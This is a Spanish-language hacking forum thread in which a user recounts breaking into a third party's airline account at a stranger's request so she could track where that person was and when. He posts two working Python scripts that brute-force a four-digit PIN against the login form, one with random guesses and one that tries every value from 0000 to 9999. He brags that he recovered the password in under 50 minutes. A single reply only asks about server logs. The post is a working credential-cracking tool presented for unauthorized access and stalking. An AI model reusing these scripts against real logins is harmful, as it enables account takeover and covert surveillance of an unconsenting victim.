HTTP Brute-Force con Python

Iniciado por kiriost, 9 Octubre 2011, 03:50 AM

0 Miembros y 1 Visitante están viendo este tema.

kiriost

El otro día me contacto una mujer, la cual no conocía, pidiendome un favor algo extraño, pero lógico: quería que hackeara la contraseña de una cuenta de una aerolínea (muy pero muy poco conocida) de una persona de la cual quería saber dónde se encontraba actualmente y qué días estaba en el país (al parecer una persona de negocios). No voy a dar más detalles ya que le prometí mantener censura sobre este tema.

El tema está en que no logré hallar ningún bug dentro del servidor web que hospedaba la página de la aerolínea, y al ver que las contraseñas eran de 4 dígitos númericos, saqué algunas conclusiones (en una hoja) y pude averiguar que aproximadamente en 2,83 horas podía obtener la contraseña mediante brute force.

Ojo! Ella me dio el usuario porque lo conocía, solo me pidió que averiguara la contraseña.

Antes que nada empecemos por lo primero: imaginanado que ya sabés que es el brute force en términos hackers. La contraseña eran todos dígitos numéricos y no era mayor a 4 cifras, entonces podemos ver que 10x10x10x10 son las posibilidades que tenemos de encontrar la contraseña, o sea, tenemos 1/10000 son las probabilidades que tenemos de encontrarla (sería un 0.01% de probabilidades). Esto es porque de las 10000 posibles contraseñas solo 1 es la correcta.

Luego de sacar esta simple probabilidad, calculé mediante herramientas propias lo que tardaba mi PC en conectarse al sitio, enviar mediante un comando POST una contraseña y un usuario al azar, comprobar si el usuario y la contraseña son correctos y desconectarse. Esto tardaba alrededor de 1.02 segundos. Entonces probar 10000 contraseñas hasta dar con la correcta me llevaría alrededor de 10200 segundos, o más bien, 2,83 horas.

Para hacer esto automático tuve que recurrir a un lenguaje de programación, y como era tarde, estaba cansado y contaba con poco tiempo me decanté por Python (el rey de la simplicidad y la eficiencia).

Usando la ayuda de las bibliotecas de Python (urllib2, urllib, md5, étc.), empece a codear y... salieron 2 scripts interesantes:

Generar contraseñas al azar
Código (python) [Seleccionar]
import urllib
import urllib2
import md5
import random
import time

abc = "0123456789";
url = "http://aerolinea.vuelefeliz.com/login"
new_passwd = 0

while abc == "0123456789":
    if(new_passwd == 1):
        var0 = abc[int(random.random()*len(abc))]
        var1 = abc[int(random.random()*len(abc))]
        var2 = abc[int(random.random()*len(abc))]
        var3 = abc[int(random.random()*len(abc))]
        passwd = var0 + var1 + var2 + var3
    print "- Password: " + passwd
    try:
        values={'Aer_Id':'MTYyMA==', #usuario cifrado en md5
        'Aer_Passwd':md5.new(passwd).digest().encode("hex")} #password cifrada en md5
        print "- Aer_Passwd: " + md5.new(passwd).digest().encode("hex")

        data = urllib.urlencode(values)
        req = urllib2.Request(url, data)
        response = urllib2.urlopen(req)

        html = response.read()
        if(html.find("Login was unsuccessful") > 0):
            print "Nothing of nothing...\n"
            new_passwd = 1
        else:
            print "Password found!\n"
            arch = open("passwd_ecrews", "w")
            arch.write(passwd)
            arch.close()
            exit()
    except:
        print "Error...\n"
        new_passwd = 0


Explicado simplemente, con este script se genera una contraseña de 4 dígitos numéricos al azar. Los números van desde 0 hasta 9. Luego de esto los envía mediante un resquest POST al sitio web (simula que se llena el formulario de Usuario y Contraseña) y el sitio responde diciendo si son correctos o no. En caso de que sean incorrectos sigue intentando con otros.

values contiene los valores que se envían mediante el comando POST. Sería lo mismo que enviar:

Aer_Id=USER&Aer_Passwd=PASSWORD

Generar contraseñas desde 0000 hasta 9999
Código (python) [Seleccionar]
import urllib
import urllib2
import md5
import random
import time

abc = "0123456789";
url = "http://aerolinea.vuelefeliz.com/login"
new_passwd = 0

for i1 in range(0, len(abc)):
        var0 = abc[i1]
        for i2 in range(0, len(abc)):
                var1 = abc[i2]
                for i3 in range(0, len(abc)):
                        var2 = abc[i3]
                        for i4 in range(0, len(abc)):
                                var3 = abc[i4]
                                passwd = var0 + var1 + var2 + var3
                                print "- Password: " + passwd
                                try:
                                        values={'Aer_Id':'MTYyMA==', #esto es el usuario cifrado con md5
                                        'Aer_Passwd':md5.new(passwd).digest().encode("hex")} #password tambien cifrada con md5
                                        print "- Aer_Passwd: " + md5.new(passwd).digest().encode("hex")

                                        data = urllib.urlencode(values)
                                        req = urllib2.Request(url, data)
                                        response = urllib2.urlopen(req)

                                        html = response.read()
                                        if(html.find("Login was unsuccessful") > 0):
                                                print "Nothing of nothing...\n"
                                        else:
                                                #si encuentra la password la guarda en un archivo llamado passwd_found
                                                print "Password found!\n"
                                                arch = open("passwd_found", "w")
                                                arch.write(passwd)
                                                arch.close()
                                                exit()
                                except:
                                        print "Error...\n"


Este script hace lo mismo que el anterior, con la única diferencia de que genera contraseñas sucesivas, desde 0000 hasta 9999. Es un poco más seguro ya que te asegura que prueba todas las contraseñas posibles y no las repite.



Para acelerar el proceso de brute forcing utilicé el primer script en mi PC y el otro lo ejecuté en un servidor shell que tengo en el mundo exterior con Python instalado, por lo que en menos de 50 minutos la contraseña estaba en mis manos. Pero no se pongan felices, porque como ya les dije yo ya conocía el usuario, solo tenía que descubrir la contraseña. Este método es eficaz cuando las contraseñas son cortas y numéricas, con una contraseña como "as5z8x2!!a2s5″ estaríamos más de 2 siglos probando descubrirlas, y más aún si no conocemos el usuario (el tiempo puede variar un poco, tal vez exageré).

Si la contraseña hubiera sido más larga me hubiera decantado por el primer script, ya que no estaría probando contraseñas tontas, sino probaría contraseñas al azar y, con muuucha suerte, daría más rápido con la misma.

Bueno, cualquier duda ya saben por donde ando: mail o blog :) . En el próximo artículo voy a explicar algunos métodos para realizar técnicas de brute forcing.
http://www.godsys.com.ar > Programación. Hacking y Cracking. Sistemas. Desarrollo Web.
Java, C/C++, PHP, Python, Perl, HTML, Game-Hacking, Defacing, Desarrollo Web, GNU/Linux, y más

Mr.Blue

esto no levanta sospechas? estas realizado muchas peticiones al servirdor a un usuario particular en 50 min errastes la contraseña muchas veces y esto queda guardado en un log